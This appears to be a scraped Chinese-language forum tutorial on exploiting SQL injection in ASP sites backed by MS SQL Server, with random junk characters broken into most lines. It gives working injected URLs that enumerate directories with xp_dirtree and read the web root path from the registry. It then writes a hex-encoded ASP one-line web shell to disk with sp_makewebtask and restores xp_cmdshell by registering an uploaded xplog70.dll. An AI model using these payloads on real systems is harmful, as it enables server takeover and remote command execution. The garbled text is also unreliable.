好,我们exec master..xp_dirtree'd:/test'
9 T2 ^; t5 e7 _8 w( b& }假设我们在test里有两个文件夹test1和test2在test1里又有test3
& }+ g7 K8 ]: X7 [. L V结果显示
& x0 D/ k( q. h- ^2 a! F f( h# O7 x6 l( |$ Y; ^7 j
subdirectory depth$ V3 l- a+ Z1 e) M
test1 1
5 ~( L. ^1 Q% e; l- E5 N$ R8 o- itest3 2! \6 b* ]7 T! x( U/ b6 X) e
test2 11 z3 _7 h: a" P) h8 X; D7 n
; k# z% r1 ]9 \! v) Z哈哈发现没有那个depth就是目录的级数. ?. f# w4 B! i1 j* M; ]
ok了,知道怎么办了吧7 @2 a( a( o3 X! W
- B) H7 @, U- w8 x5 r9 [http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
2 e/ g; u8 O! O8 zhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
4 q$ A$ m% k K7 @3 O2 w3 Rhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
7 O3 {! a- j& h/ M7 a4 u+ ~. a0 u; j
: o8 c& O7 `; `" g0 j只要加上id=1,就是第一级目录 。# |3 Q0 I4 G/ ~: d
4 k% y( U- l3 y) M/ A8 v( P6 i
+ U1 H- S4 T) g) P0 B, ~1 O通过注册表读网站路径:
* n( ^5 k: b3 V2 _. W
' Z% T; R3 |# V' C1.;create table [dbo].[cyfd] ([gyfd][char](255));9 y3 t, s8 Q0 O2 O7 x
8 l* u; B) b$ d2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--" O( p/ c# V2 v
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--2 T2 ?. t- M3 g& p) `
' d& _* B& c0 X: e8 D. N9 \; s
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
( i4 L* d. D0 `$ R' i- V4 eand 1=(select count(*) from cyfd where gyfd > 1)
- |' \9 Y1 S( g" r这样IE报错,就把刚才插进去的Web路径的值报出来了. F3 w& r# {6 P# L' B' u6 b1 E- n$ M' c
3 J6 R a a7 B( U. T
4.drop table cyfd;-- 删除临时表
: j1 s& Z ], B! G8 d* H/ c( m& t
9 H; ~* e2 M9 w3 Z; {" p P# }获得webshell方法:
3 h- @: C5 B) C0 h1 \2 m0 m1.create table cmd (a image)-- \**cmd是创建的临时表
1 k4 ?. p( [0 V% m" C$ z$ a8 C. }1 M! u
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
! x% m$ o5 h3 i2 u7 m4 b2 t( U6 l% a6 P; Y7 w% `
F4 }+ q8 C& n* s! {3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd' {2 e* `7 L+ G# U2 k
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'" _5 I* X1 n. a) y+ D
9 }- O$ o6 e: d; ?5 O' A
4.drop table cmd;-- 删除cmd临时表( Z; m. n1 |, W1 `& T0 q
- L, G+ }' d. v7 O- y* a0 {6 v* k; w
恢复xp_cmdshell方法之一: M S1 s* ^$ N7 K# \
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
5 A f q( w% i M2 Bhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'; g; y* ^4 N$ s5 S: o% a! B
恢复,支持绝对路径的恢复哦。:)
* g) @% p& I% l4 K |